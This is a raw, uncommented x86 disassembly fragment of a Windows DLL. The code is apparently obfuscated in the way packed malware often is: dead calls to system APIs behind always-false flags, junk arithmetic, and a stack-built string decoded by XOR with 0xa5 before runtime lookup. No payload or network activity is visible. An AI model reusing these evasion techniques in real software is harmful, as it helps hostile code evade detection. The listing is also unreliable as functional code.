je 0x100190e9
mov dword [ebp - 0x200], 0x3cc1dab9
mov dword [ebp - 0x710], 1
mov eax, dword [ebp - 0x200]
mov dword [ebp - 0x1200], eax
mov dword [ebp - 0x128], 0xfffffffb
mov eax, dword [ebp - 0x128]
mov dword [ebp - 0x1208], eax
mov eax, dword [ebp - 0x128]
mov dword [ebp - 0x138], eax
mov eax, dword [ebp - 0x138]
mov dword [ebp - 0x1210], eax
mov eax, dword [ebp - 0x200]
mov dword [ebp - 0x1218], eax
xor eax, eax
cmp eax, 7
je 0x1001904f
mov dword [ebp - 0x708], 1
jmp 0x10019056
and dword [ebp - 0x708], 0
mov eax, dword [ebp - 0x20]
imul eax, dword [ebp - 0x200]
imul eax, dword [ebp - 0x708]
mov dword [ebp - 0x200], eax
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x200]
sub ecx, dword [ebp - 0x710]
cmp ecx, dword [ebp + eax - 0x380]
jle 0x10019094
mov dword [ebp - 0xa60], 1
jmp 0x1001909b
and dword [ebp - 0xa60], 0
mov eax, dword [ebp - 0xa60]
sub eax, dword [ebp - 0x710]
mov dword [ebp - 0x948], eax
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x948]
mov dword [ebp + eax - 0x728], ecx
mov eax, dword [ebp - 0x948]
mov dword [ebp - 0x130], eax
mov byte [ebp - 0x175], 0
movzx eax, byte [ebp - 0x175]
test eax, eax
je 0x100190e4
call dword [sym.imp.KERNEL32.dll_GetUserDefaultLangID]
jmp 0x1001937c
mov dword [ebp - 0x1a4], 0xfffffffd
mov dword [ebp - 0x718], 0xfffffff9
mov dword [ebp - 0x48c], 0xffffffff
mov dword [ebp - 0x130], 0
jmp 0x10019120
mov eax, dword [ebp - 0x130]
inc eax
mov dword [ebp - 0x130], eax
cmp dword [ebp - 0x130], 0x10
jl 0x10019193
mov byte [ebp - 0xf9], 0
movzx eax, byte [ebp - 0xf9]
test eax, eax
je 0x1001914b
push 0x148b
push 0x3e7
call dword [sym.imp.GDI32.dll_SetPolyFillMode]
mov dword [ebp - 0x20], 0xffffffea
jmp 0x1001915b
mov eax, dword [ebp - 0x20]
inc eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0x2c
jg 0x10019191
mov byte [ebp - 0x185], 0
movzx eax, byte [ebp - 0x185]
test eax, eax
je 0x1001918f
push 0
push 0x140f
push 0x1f84
push 0x1620
push 0x944
call dword [sym.imp.GDI32.dll_CreateBitmap]
jmp 0x10019154
jmp 0x10019113
mov eax, dword [ebp - 0x1a4]
mov dword [ebp - 0x718], eax
cmp dword [ebp - 0x718], 0
je 0x100191c4
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x380], 0
je 0x100191c4
mov dword [ebp - 0xb88], 1
jmp 0x100191cb
and dword [ebp - 0xb88], 0
cmp dword [ebp - 0xb88], 0xb0c7f2ba
je 0x100191e3
mov dword [ebp - 0x720], 1
jmp 0x100191ea
and dword [ebp - 0x720], 0
mov eax, dword [ebp - 0x720]
add eax, 0x34166da9
je 0x1001920c
cmp dword [ebp - 0x738], 0
je 0x1001920c
mov dword [ebp - 0x950], 1
jmp 0x10019213
and dword [ebp - 0x950], 0
mov eax, dword [ebp - 0x950]
mov dword [ebp - 0x128], eax
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x128]
cmp ecx, dword [ebp + eax - 0x728]
jle 0x10019240
mov dword [ebp - 0xa68], 1
jmp 0x10019247
and dword [ebp - 0xa68], 0
mov eax, dword [ebp - 0x1a4]
cmp dword [ebp - 0xa68], eax
jne 0x10019261
mov dword [ebp - 0x730], 1
jmp 0x10019268
and dword [ebp - 0x730], 0
cmp dword [ebp - 0x730], 0x8a0a
jge 0x10019280
mov dword [ebp - 0x958], 1
jmp 0x10019287
and dword [ebp - 0x958], 0
mov eax, dword [ebp - 0x958]
mov dword [ebp - 0x130], eax
mov eax, dword [ebp - 0x130]
cmp eax, dword [ebp - 0x1a4]
jg 0x100192ad
mov dword [ebp - 0xcdc], 1
jmp 0x100192b4
and dword [ebp - 0xcdc], 0
mov eax, dword [ebp - 0x1a4]
mov dword [ebp - 0x1220], eax
mov eax, dword [ebp - 0x48c]
cmp eax, dword [ebp - 0x738]
jg 0x100192da
mov dword [ebp - 0xc6c], 1
jmp 0x100192e1
and dword [ebp - 0xc6c], 0
mov eax, dword [ebp - 0x48c]
mov dword [ebp - 0x1228], eax
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x48c], eax
cmp dword [ebp - 0x1a4], 0xd0676dfa
jb 0x1001930e
mov dword [ebp - 0xaf8], 1
jmp 0x10019315
and dword [ebp - 0xaf8], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x380]
cmp dword [ebp - 0xaf8], eax
jle 0x10019336
mov dword [ebp - 0x740], 1
jmp 0x1001933d
and dword [ebp - 0x740], 0
mov eax, dword [ebp - 0x138]
add eax, dword [ebp - 0x740]
mov dword [ebp - 0x138], eax
mov eax, dword [ebp - 0x138]
cmp eax, dword [ebp - 0x1a4]
jge 0x10019369
mov dword [ebp - 0x960], 1
jmp 0x10019370
and dword [ebp - 0x960], 0
mov eax, dword [ebp - 0x960]
mov dword [ebp - 0xce4], eax
mov dword [ebp - 0xeec], 4
mov dword [ebp - 0xee8], 4
mov dword [ebp - 0xee4], 4
mov dword [ebp - 0xee0], 4
mov dword [ebp - 0x220], 0xffffffff
push 4
pop eax
shl eax, 0
mov dword [ebp + eax - 0xeec], 0xc85f70ad
mov dword [ebp - 0x220], 3
jmp 0x100193d8
mov eax, dword [ebp - 0x220]
dec eax
mov dword [ebp - 0x220], eax
cmp dword [ebp - 0x220], 0
jl 0x10019411
mov byte [ebp - 0xfb], 0
movzx eax, byte [ebp - 0xfb]
test eax, eax
je 0x100193fd
push 0
push 0
call dword [sym.imp.SHELL32.dll_CommandLineToArgvW]
mov eax, dword [ebp - 0x220]
cmp dword [ebp + eax*4 - 0xeec], 0
je 0x1001940f
jmp 0x100193cb
jmp 0x100193cb
mov byte [ebp - 0x270], 0xd
mov byte [ebp - 0x26f], 0xf2
mov byte [ebp - 0x26e], 6
mov byte [ebp - 0x26d], 7
mov byte [ebp - 0x26c], 4
mov byte [ebp - 0x26b], 0x24
mov byte [ebp - 0x26a], 0xc
mov byte [ebp - 0x269], 7
mov byte [ebp - 0x268], 0
mov byte [ebp - 0x267], 0x30
mov byte [ebp - 0x266], 3
mov byte [ebp - 0x265], 0x22
mov byte [ebp - 0x264], 0xb
mov byte [ebp - 0x263], 0x12
mov byte [ebp - 0x262], 9
mov byte [ebp - 0x261], 0x10
mov byte [ebp - 0x260], 8
mov byte [ebp - 0x25f], 0xc
mov byte [ebp - 0x25e], 5
mov byte [ebp - 0x25d], 0xa
mov byte [ebp - 0x25c], 7
mov byte [ebp - 0x25b], 0x17
mov byte [ebp - 0x25a], 1
mov byte [ebp - 0x259], 0
mov byte [ebp - 0x258], 0xa
mov byte [ebp - 0x257], 0x17
mov byte [ebp - 0x256], 2
mov byte [ebp - 0x255], 0
mov byte [ebp - 0x254], 2
mov byte [ebp - 0x253], 0x5a
mov byte [ebp - 0x252], 0x3b
xor eax, eax
inc eax
shl eax, 0
movzx eax, byte [ebp + eax - 0x270]
and eax, 0xa5
xor ecx, ecx
inc ecx
shl ecx, 0
movzx ecx, byte [ebp + ecx - 0x270]
or ecx, 0xa5
sub ecx, eax
xor eax, eax
inc eax
imul eax, eax, 0
movzx eax, byte [ebp + eax - 0x270]
mov byte [ebp + eax - 0xe84], cl
mov dword [ebp - 0x48], 2
and dword [ebp - 0x348], 0
jmp 0x10019540
mov eax, dword [ebp - 0x48]
inc eax
inc eax
mov dword [ebp - 0x48], eax
cmp dword [ebp - 0x48], 0x1f
jae 0x1001acae
mov dword [ebp - 0xf0], 0x399841b3
push 2
lea ecx, [ebp - 0xb44]
call fcn.100221ae
mov dword [ebp - 4], 0x25
mov dword [ebp - 0x320], 0
jmp 0x10019581
mov eax, dword [ebp - 0x320]
inc eax
mov dword [ebp - 0x320], eax
cmp dword [ebp - 0x320], 2
jge 0x100195a3
push dword [ebp - 0x320]
lea ecx, [ebp - 0xb44]
call fcn.10022272
mov dword [eax], 2
jmp 0x10019574
mov dword [ebp - 0xf0], 4
jmp 0x100195bc
mov eax, dword [ebp - 0xf0]
dec eax
mov dword [ebp - 0xf0], eax
cmp dword [ebp - 0xf0], 0xffffffef
jle 0x10019b1e
mov dword [ebp - 0x520], 0xfffffffe
mov dword [ebp - 0x51c], 0xfffffffe
mov dword [ebp - 0x518], 0xfffffffe
mov dword [ebp - 0x514], 0xfffffffe
mov dword [ebp - 0xc78], 0x8a59c2d
mov dword [ebp - 0xcec], 0xb6befc54
push 4
pop eax
shl eax, 0
mov dword [ebp + eax - 0x520], 0
jmp 0x10019633
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x520]
inc eax
push 4
pop ecx
shl ecx, 0
mov dword [ebp + ecx - 0x520], eax
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x520], 1
jg 0x10019b19
mov dword [ebp - 0xdc], 1
mov dword [ebp - 0x74], 0
mov dword [ebp - 0xdc], 1
jmp 0x10019671
mov eax, dword [ebp - 0xdc]
dec eax
mov dword [ebp - 0xdc], eax
cmp dword [ebp - 0xdc], 0
jl 0x100198a8
push 3
lea ecx, [ebp - 0xddc]
call fcn.100221ae
mov byte [ebp - 4], 0x26
mov dword [ebp - 0x3bc], 0
jmp 0x100196a8
mov eax, dword [ebp - 0x3bc]
inc eax
mov dword [ebp - 0x3bc], eax
cmp dword [ebp - 0x3bc], 3
jge 0x100196ca
push dword [ebp - 0x3bc]
lea ecx, [ebp - 0xddc]
call fcn.10022272
mov dword [eax], 0x2b483718
jmp 0x1001969b
push 0
lea ecx, [ebp - 0xddc]
call fcn.10022272
and dword [eax], 0
jmp 0x10019700
push 0
lea ecx, [ebp - 0xddc]
call fcn.10022272
cmp dword [eax], 1
jg 0x10019894
mov dword [ebp - 0x1cc], 0x49d585ed
mov dword [ebp - 0x1cc], 0
jmp 0x10019739
cmp dword [ebp - 0x1cc], 1
jg 0x1001986d
mov eax, dword [ebp - 0xf0]
mov dword [ebp - 0x1230], eax
mov eax, dword [ebp - 0x1cc]
add eax, dword [ebp - 0xf0]
imul eax, eax, 0xfffffffb
cmp eax, 0xffffffff
je 0x10019772
mov dword [ebp - 0xa70], 1
jmp 0x10019779
and dword [ebp - 0xa70], 0
cmp dword [ebp - 0xa70], 0x7d16
jge 0x10019791
push 4
pop eax
shl eax, 0
push dword [ebp + eax - 0x520]
lea ecx, [ebp - 0xb44]
call fcn.10022272
cmp dword [eax], 0
je 0x1001988f
jmp 0x100196dc
jmp 0x100196dc
mov byte [ebp - 4], 0x25
lea ecx, [ebp - 0xddc]
call fcn.10022230
jmp 0x10019664
mov dword [ebp - 0x74], 1
jmp 0x100198b8
cmp dword [ebp - 0x74], 0
jl 0x10019b14
mov dword [ebp - 0x438], 0xa9a26275
mov dword [ebp - 0x788], 0xab66
push dword [ebp - 0x74]
lea ecx, [ebp - 0xb44]
call fcn.10022272
cmp dword [eax], 0
je 0x100198ee
jmp 0x10019b14
push dword [ebp - 0x74]
lea ecx, [ebp - 0xb44]
call fcn.10022272
cmp dword [eax], 0
jne 0x10019974
push 4
pop eax
shl eax, 0
mov esi, dword [ebp + eax - 0x520]
push dword [ebp - 0x74]
lea ecx, [ebp - 0xb44]
call fcn.10022272
cmp dword [eax], esi
je 0x1001992c
mov dword [ebp - 0x768], 1
jmp 0x10019933
and dword [ebp - 0x768], 0
mov eax, dword [ebp - 0x768]
mov dword [ebp - 0xc78], eax
mov eax, dword [ebp - 0xdc]
sub eax, 0x6f300526
mov dword [ebp - 0x438], eax
mov esi, dword [ebp - 0x438]
push dword [ebp - 0x74]
lea ecx, [ebp - 0xb44]
call fcn.10022272
cmp esi, dword [eax]
je 0x10019974
mov dword [ebp - 0xa78], 1
jmp 0x1001997b
and dword [ebp - 0xa78], 0
mov eax, dword [ebp - 0x74]
cmp dword [ebp - 0xa78], eax
jg 0x1001999f
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x520], 0
jne 0x1001999f
and dword [ebp - 0x770], 0
jmp 0x100199a9
mov dword [ebp - 0x770], 1
push 4
pop eax
imul eax, eax, 3
mov eax, dword [ebp + eax - 0x520]
cmp dword [ebp - 0x770], eax
jle 0x100199ca
mov dword [ebp - 0x978], 1
jmp 0x100199d1
and dword [ebp - 0x978], 0
mov eax, dword [ebp - 0x74]
cmp dword [ebp - 0x978], eax
jle 0x100199e8
mov dword [ebp - 0x778], 1
jmp 0x100199ef
and dword [ebp - 0x778], 0
mov eax, dword [ebp - 0xdc]
cmp dword [ebp - 0x778], eax
jle 0x10019a0f
jmp 0x10019618
jmp 0x100195af
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xb44]
call fcn.10022230
xor eax, eax
inc eax
imul eax, eax, 0
movzx eax, byte [ebp + eax - 0x270]
lea eax, [eax + eax + 2]
cmp dword [ebp - 0x48], eax
jne 0x1001a876
mov dword [ebp - 0x50], 0x45cdbe8e
mov dword [ebp - 0x328], 0
jmp 0x10019b68
mov eax, dword [ebp - 0x328]
inc eax
mov dword [ebp - 0x328], eax
cmp dword [ebp - 0x328], 4
jge 0x10019b84
mov eax, dword [ebp - 0x328]
mov dword [ebp + eax*4 - 0x100c], 0
jmp 0x10019b5b
cmp dword [ebp - 0x50], 0xb88146cd
jb 0x10019b99
mov dword [ebp - 0x7a0], 1
jmp 0x10019ba0
and dword [ebp - 0x7a0], 0
mov eax, dword [ebp - 0x50]
cmp dword [ebp - 0x7a0], eax
je 0x10019bb7
mov dword [ebp - 0x990], 1
jmp 0x10019bbe
and dword [ebp - 0x990], 0
mov eax, dword [ebp - 0x50]
cmp dword [ebp - 0x990], eax
je 0x10019bd5
mov dword [ebp - 0x7a8], 1
jmp 0x10019bdc
and dword [ebp - 0x7a8], 0
mov eax, dword [ebp - 0x7a8]
sub eax, dword [ebp - 0x50]
cmp eax, dword [ebp - 0x50]
jle 0x10019bf6
mov dword [ebp - 0xa88], 1
jmp 0x10019bfd
and dword [ebp - 0xa88], 0
mov eax, dword [ebp - 0x50]
imul eax, dword [ebp - 0xa88]
cmp eax, dword [ebp - 0x50]
jl 0x10019c18
mov dword [ebp - 0x7b0], 1
jmp 0x10019c1f
and dword [ebp - 0x7b0], 0
mov eax, dword [ebp - 0x50]
cmp eax, dword [ebp - 0x7b0]
jne 0x10019fcd
mov dword [ebp - 0x440], 0xfffffff7
mov dword [ebp - 0x7d0], 7
mov dword [ebp - 0x50], 0xffffffef
jmp 0x10019c52
cmp dword [ebp - 0x50], 0x17
je 0x10019fcb
mov dword [ebp - 0x1ac], 0
mov dword [ebp - 0x9a8], 0x3167647c
mov dword [ebp - 0x1ac], 0xffffffe3
jmp 0x10019c89
jmp 0x10019fe7
mov byte [ebp - 0x177], 0
movzx eax, byte [ebp - 0x177]
test eax, eax
je 0x10019fe7
push 0
call dword [sym.imp.KERNEL32.dll_ExitThread]
mov byte [ebp - 0x101], 0
movzx eax, byte [ebp - 0x101]
test eax, eax
je 0x1001a010
push 0x1137
push 0
push 0x7d0
push 0x2227
call dword [sym.imp.USER32.dll_SystemParametersInfoW]
mov eax, dword [ebp - 0x48]
movzx eax, byte [ebp + eax - 0x270]
inc eax
mov dword [ebp - 0x348], eax
mov dword [ebp - 0x58], 0
mov dword [ebp - 0x3b8], 3
mov dword [ebp - 0x9b0], 0x51162f63
mov dword [ebp - 0x818], 0x52a2c7a2
push 2
lea ecx, [ebp - 0xf60]
call fcn.100221ae
mov dword [ebp - 4], 0x28
mov dword [ebp - 0xcfc], 0x35fe57b6
mov dword [ebp - 0x330], 0
jmp 0x1001a07e
mov eax, dword [ebp - 0x48]
sub eax, dword [ebp - 0x348]
movzx eax, byte [ebp + eax - 0x272]
movsx eax, byte [ebp + eax - 0xe84]
mov ecx, dword [ebp - 0x48]
movzx ecx, byte [ebp + ecx - 0x26f]
and ecx, eax
mov eax, dword [ebp - 0x48]
sub eax, dword [ebp - 0x348]
movzx eax, byte [ebp + eax - 0x272]
movsx eax, byte [ebp + eax - 0xe84]
mov edx, dword [ebp - 0x48]
movzx edx, byte [ebp + edx - 0x26f]
or edx, eax
sub edx, ecx
mov eax, dword [ebp - 0x48]
movzx eax, byte [ebp + eax - 0x270]
mov byte [ebp + eax - 0xe84], dl
mov dword [ebp - 0x60], 0x5c68ec0a
push 1
lea ecx, [ebp - 0x408]
call fcn.100221ae
mov dword [ebp - 4], 0x2b
mov dword [ebp - 0x450], 7
mov dword [ebp - 0x340], 0
jmp 0x1001a914
mov eax, dword [ebp - 0x340]
inc eax
mov dword [ebp - 0x340], eax
cmp dword [ebp - 0x340], 1
jge 0x1001a936
push dword [ebp - 0x340]
lea ecx, [ebp - 0x408]
call fcn.10022272
mov dword [eax], 0x6e5c7a00
jmp 0x1001a907
mov dword [ebp - 0x60], 0xb
jmp 0x1001a946
mov eax, dword [ebp - 0x60]
dec eax
mov dword [ebp - 0x60], eax
cmp dword [ebp - 0x60], 1
jl 0x1001a965
mov dword [ebp - 0xb58], 0xe57b
mov eax, dword [ebp - 0xb58]
dec eax
mov dword [ebp - 0xb58], eax
jmp 0x1001a93f
mov dword [ebp - 0x60], 0
jmp 0x1001a975
cmp dword [ebp - 0x60], 0
jl 0x1001ac93
mov dword [ebp - 0xbb8], 0x74aa0d72
mov dword [ebp - 0xbb4], 0x74aa0d72
mov dword [ebp - 0xbb0], 0x74aa0d72
mov dword [ebp - 0xbac], 0x74aa0d72
mov dword [ebp - 0x70], 5
push 4
pop eax
shl eax, 1
mov dword [ebp + eax - 0xbb8], 0
jmp 0x1001a9d9
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0xbb8]
inc eax
push 4
pop ecx
shl ecx, 1
mov dword [ebp + ecx - 0xbb8], eax
push 4
pop eax
shl eax, 1
cmp dword [ebp + eax - 0xbb8], 1
jge 0x1001aa07
push 4
pop eax
shl eax, 1
push dword [ebp + eax - 0xbb8]
lea ecx, [ebp - 0x408]
call fcn.10022272
mov dword [eax], 0xfffffffd
jmp 0x1001a9c0
mov dword [ebp - 0x70], 0
jmp 0x1001aa17
cmp dword [ebp - 0x70], 0
jg 0x1001ac8e
mov dword [ebp - 0x140], 0xa6f44401
mov dword [ebp - 0x3cc], 0x7c629c4d
mov dword [ebp - 0x868], 1
mov dword [ebp - 0xd14], 1
mov dword [ebp - 0x140], 0
jmp 0x1001aa62
jmp 0x1001a96e
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x408]
call fcn.10022230
and dword [ebp - 0x348], 0
jmp 0x10019538
xor eax, eax
inc eax
imul eax, eax, 0xe
mov byte [ebp + eax - 0xe84], 0
mov dword [ebp - 0x11f4], 0x91a049fe
mov byte [ebp - 0x174], 0
movzx eax, byte [ebp - 0x174]
test eax, eax
je 0x1001ace0
push 0
call dword [sym.imp.OLEAUT32.dll_VariantClear]
mov byte [ebp - 0x111], 0
movzx eax, byte [ebp - 0x111]
test eax, eax
je 0x1001acfe
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
lea eax, [ebp - 0xe84]
push eax
lea ecx, [ebp - 0x1360]
call fcn.10022102
mov dword [ebp - 0xe68], eax
mov eax, dword [ebp - 0xe68]
mov dword [ebp - 0xcb8], eax
mov dword [ebp - 4], 0x2c
mov edx, dword [ebp - 0x524]
mov ecx, dword [ebp - 0xcb8]
call fcn.1000a30d
mov dword [0x1061997c], eax
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x1360]
call fcn.10022131
mov dword [ebp - 0x78], 0xf6af1124
mov dword [ebp - 0x5b4], 0xeae88378
push 3
lea ecx, [ebp - 0xf78]
call fcn.100221ae
mov dword [ebp - 4], 0x2d
mov dword [ebp - 0x98], 0
jmp 0x1001ad8c
mov eax, dword [ebp - 0x98]
inc eax
mov dword [ebp - 0x98], eax
cmp dword [ebp - 0x98], 1
jge 0x1001ada8
mov eax, dword [ebp - 0x98]
mov dword [ebp + eax*4 - 0xcd0], 2
jmp 0x1001ad7f
mov dword [ebp - 0x98], 0
jmp 0x1001adc1
mov eax, dword [ebp - 0x98]
inc eax
mov dword [ebp - 0x98], eax
cmp dword [ebp - 0x98], 3
jge 0x1001ade3
push dword [ebp - 0x98]
lea ecx, [ebp - 0xf78]
call fcn.10022272
mov dword [eax], 0xb7203fca
jmp 0x1001adb4
mov dword [ebp - 0x78], 0xfffffff6
jmp 0x1001adf3
cmp dword [ebp - 0x78], 0xfffffff3
jge 0x1001b37d
push 4
lea ecx, [ebp - 0xdec]
call fcn.100221ae
mov byte [ebp - 4], 0x2e
push 1
lea ecx, [ebp - 0x4e8]
call fcn.100221ae
mov byte [ebp - 4], 0x2f
mov dword [ebp - 0x49c], 0x8c38ec32
mov dword [ebp - 0xcc8], 0xfffffffc
mov dword [ebp - 0x458], 0x876a47cd
mov dword [ebp - 0x148], 0xffffffff
mov dword [ebp - 0xa0], 0
jmp 0x1001ae60
mov eax, dword [ebp - 0xa0]
inc eax
mov dword [ebp - 0xa0], eax
cmp dword [ebp - 0xa0], 4
jge 0x1001ae82
push dword [ebp - 0xa0]
lea ecx, [ebp - 0xdec]
call fcn.10022272
mov dword [eax], 0xfffffffd
jmp 0x1001ae53
mov dword [ebp - 0xa0], 0
jmp 0x1001ae9b
mov eax, dword [ebp - 0xa0]
inc eax
mov dword [ebp - 0xa0], eax
cmp dword [ebp - 0xa0], 1
jge 0x1001aeba
push dword [ebp - 0xa0]
lea ecx, [ebp - 0x4e8]
call fcn.10022272
or dword [eax], 0xffffffff
jmp 0x1001ae8e
mov dword [ebp - 0x5d4], 0x608c
mov dword [ebp - 0xce0], 0x10007b30
cmp dword [ebp - 0x5d4], 0x63a5
jle 0x1001afb8
and dword [ebp - 0x398], 0
jmp 0x1001aef4
cmp dword [ebp - 0x398], 0x65
jge 0x1001afb8
and dword [ebp - 0x350], 0
jmp 0x1001af17
push 0
lea ecx, [ebp - 0x4e8]
call fcn.10022272
and dword [eax], 0
jmp 0x1001afee
push 0
lea ecx, [ebp - 0x4e8]
call fcn.10022272
cmp dword [eax], 3
jg 0x1001b2c1
mov dword [ebp - 0x1c4], 0xffffffff
mov dword [ebp - 0x114c], 0x292978d8
mov dword [ebp - 0xd80], 0xcd546735
mov dword [ebp - 0xd78], 0x8ce6fc2e
mov dword [ebp - 0x5bc], 0xfffffffc
mov eax, dword [ebp - 0xd78]
mov dword [ebp - 0x101c], eax
push 0
lea ecx, [ebp - 0x4e8]
call fcn.10022272
push dword [eax]
lea ecx, [ebp - 0xdec]
call fcn.10022272
mov eax, dword [ebp - 0x148]
inc eax
mov dword [ebp - 0x148], eax
mov eax, dword [ebp - 0x148]
sub eax, dword [ebp - 0x458]
je 0x1001b08c
mov byte [ebp - 4], 0x30
cmp dword [ebp - 0x5d4], 0x5f34
jge 0x1001b2e1
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xf78]
call fcn.10022230
and dword [ebp - 0x2ec], 0
jmp 0x1001b3a2
mov eax, dword [ebp - 0x2ec]
inc eax
mov dword [ebp - 0x2ec], eax
cmp dword [ebp - 0x2ec], 0xf
jae 0x1001b9df
mov dword [ebp - 0xa8], 1
mov dword [ebp - 0xf3c], 0x850270f9
mov dword [ebp - 0xf38], 0x850270f9
mov dword [ebp - 0xf34], 0x850270f9
mov dword [ebp - 0xf30], 0x850270f9
lea ecx, [ebp - 0x461]
call fcn.100222d4
push eax
lea eax, [ebp - 0xf2c]
push eax
lea eax, [ebp - 0xf3c]
push eax
lea ecx, [ebp - 0x12e8]
call fcn.100222d7
push dword [eax + 4]
push dword [eax]
lea ecx, [ebp - 0xb54]
call fcn.1002220a
mov dword [ebp - 4], 0x32
mov dword [ebp - 0x88], 8
mov dword [ebp - 0x360], 0xfffffff8
mov dword [ebp - 0x1ec], 0x3c8d
mov dword [ebp - 0x2e4], 0
mov dword [ebp - 0xa8], 0
jmp 0x1001b45e
cmp dword [ebp - 0xa8], 0xfffffff4
jle 0x1001b9bd
mov dword [ebp - 0xe0], 0xfffffffd
mov dword [ebp - 0x1b4], 0x7c2657a7
mov dword [ebp - 0xe20], 1
mov dword [ebp - 0x66c], 0xfd6ffbba
mov eax, dword [ebp - 0xa8]
mov dword [ebp - 0x1204], eax
mov eax, dword [ebp - 0xe0]
imul eax, dword [ebp - 0xa8]
test eax, eax
je 0x1001b5b8
cmp dword [ebp - 0xe0], 0
je 0x1001b4d2
cmp dword [ebp - 0xe0], 0
je 0x1001b4d2
mov dword [ebp - 0x5dc], 1
jmp 0x1001b4d9
and dword [ebp - 0x5dc], 0
mov eax, dword [ebp - 0xa8]
cmp dword [ebp - 0x5dc], eax
je 0x1001b4f9
cmp dword [ebp - 0xa8], 0
jne 0x1001b4f9
mov dword [ebp - 0x5e4], 1
mov eax, dword [ebp - 0xe0]
cmp eax, dword [ebp - 0x5e4]
je 0x1001b51d
and dword [ebp - 0x604], 0
mov eax, dword [ebp - 0xe0]
cmp dword [ebp - 0x604], eax
jl 0x1001b5d9
mov dword [ebp - 0x60c], 1
jmp 0x1001b5e0
and dword [ebp - 0x60c], 0
mov eax, dword [ebp - 0x60c]
mov dword [ebp - 0x360], eax
mov eax, dword [ebp - 0x360]
cmp eax, dword [ebp - 0xa8]
jl 0x1001b606
mov dword [ebp - 0x614], 1
jmp 0x1001b60d
and dword [ebp - 0x614], 0
cmp dword [ebp - 0x614], 0
je 0x1001b849
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xb54]
call fcn.10022230
mov eax, dword [ebp - 0x2ec]
mov byte [ebp + eax - 0xe84], 0
jmp 0x1001b395
mov dword [ebp - 0x2c], 0x8c45cdbe
mov dword [ebp - 0x190], 1
push 2
lea ecx, [ebp - 0xdfc]
call fcn.100221ae
mov dword [ebp - 4], 0x34
mov dword [ebp - 0x68], 0xfffffffd
mov dword [ebp - 0x1f4], 0x552d
mov dword [ebp - 0xb0], 0
jmp 0x1001ba2e
mov eax, dword [ebp - 0xb0]
inc eax
mov dword [ebp - 0xb0], eax
cmp dword [ebp - 0xb0], 2
jge 0x1001ba4a
mov eax, dword [ebp - 0xb0]
mov dword [ebp + eax*4 - 0xec4], 0xae5a60d0
jmp 0x1001ba21
mov dword [ebp - 0xb0], 0
jmp 0x1001ba63
mov eax, dword [ebp - 0xb0]
inc eax
mov dword [ebp - 0xb0], eax
cmp dword [ebp - 0xb0], 2
jge 0x1001ba85
push dword [ebp - 0xb0]
lea ecx, [ebp - 0xdfc]
call fcn.10022272
mov dword [eax], 0xfffffff7
jmp 0x1001ba56
mov eax, dword [ebp - 0x2c]
inc eax
mov dword [ebp - 0x2c], eax
jne 0x1001bafd
mov eax, dword [ebp - 0x68]
dec eax
mov dword [ebp - 0x68], eax
push 0
lea ecx, [ebp - 0xdfc]
call fcn.10022272
mov dword [ebp - 0x674], eax
push 0
lea ecx, [ebp - 0xdfc]
call fcn.10022272
mov ecx, dword [ebp - 0x674]
mov eax, dword [eax]
mov dword [ecx], eax
mov eax, dword [ebp - 0x68]
mov ecx, dword [ebp - 0x674]
cmp eax, dword [ecx]
jne 0x1001bad8
mov dword [ebp - 0x67c], 1
jmp 0x1001badf
and dword [ebp - 0x67c], 0
mov eax, dword [ebp - 0x67c]
mov dword [ebp - 0x190], eax
cmp dword [ebp - 0x190], 0
jne 0x1001bafd
and dword [ebp - 0x68c], 0
jmp 0x1001bb07
mov dword [ebp - 0x68c], 1
cmp dword [ebp - 0x2c], 0
je 0x1001bb20
push 0xfffffffffffffff8
pop eax
test eax, eax
je 0x1001bb20
mov dword [ebp - 0x684], 1
jmp 0x1001bb27
and dword [ebp - 0x684], 0
mov eax, dword [ebp - 0x2c]
imul eax, dword [ebp - 0x684]
sub eax, 3
mov ecx, dword [ebp - 0x68c]
sub ecx, eax
add ecx, dword [ebp - 0x2c]
imul ecx, dword [ebp - 0x2c]
cmp ecx, dword [ebp - 0x2c]
jge 0x1001bb54
mov dword [ebp - 0x694], 1
jmp 0x1001bb5b
and dword [ebp - 0x694], 0
cmp dword [ebp - 0x694], 0xcdea
jne 0x1001bb79
mov eax, 0x8fe4de5a
test eax, eax
jne 0x1001bb79
and dword [ebp - 0x6a4], 0
jmp 0x1001bb83
mov dword [ebp - 0x6a4], 1
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x69c], eax
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x69c]
mov dword [ebp + eax - 0xec4], ecx
mov eax, dword [ebp - 0x69c]
cmp eax, dword [ebp - 0x6a4]
jne 0x1001bbb9
mov dword [ebp - 0x6ac], 1
jmp 0x1001bbc0
and dword [ebp - 0x6ac], 0
mov eax, dword [ebp - 0x2c]
cmp dword [ebp - 0x6ac], eax
jle 0x1001bbe0
cmp dword [ebp - 0x1f4], 0
je 0x1001bbe0
mov dword [ebp - 0x6b4], 1
jmp 0x1001bbe7
and dword [ebp - 0x6b4], 0
cmp dword [ebp - 0x6b4], 0
je 0x1001bcca
mov dword [ebp - 0x190], 0xffffffeb
jmp 0x1001bc0d
mov eax, dword [ebp - 0x190]
inc eax
mov dword [ebp - 0x190], eax
cmp dword [ebp - 0x190], 0x10
je 0x1001bcc8
mov dword [ebp - 0x68], 0
jmp 0x1001bc2a
mov eax, dword [ebp - 0x68]
inc eax
mov dword [ebp - 0x68], eax
cmp dword [ebp - 0x68], 1
jg 0x1001bcc3
mov byte [ebp - 0x119], 0
movzx eax, byte [ebp - 0x119]
test eax, eax
je 0x1001bc4e
push 0
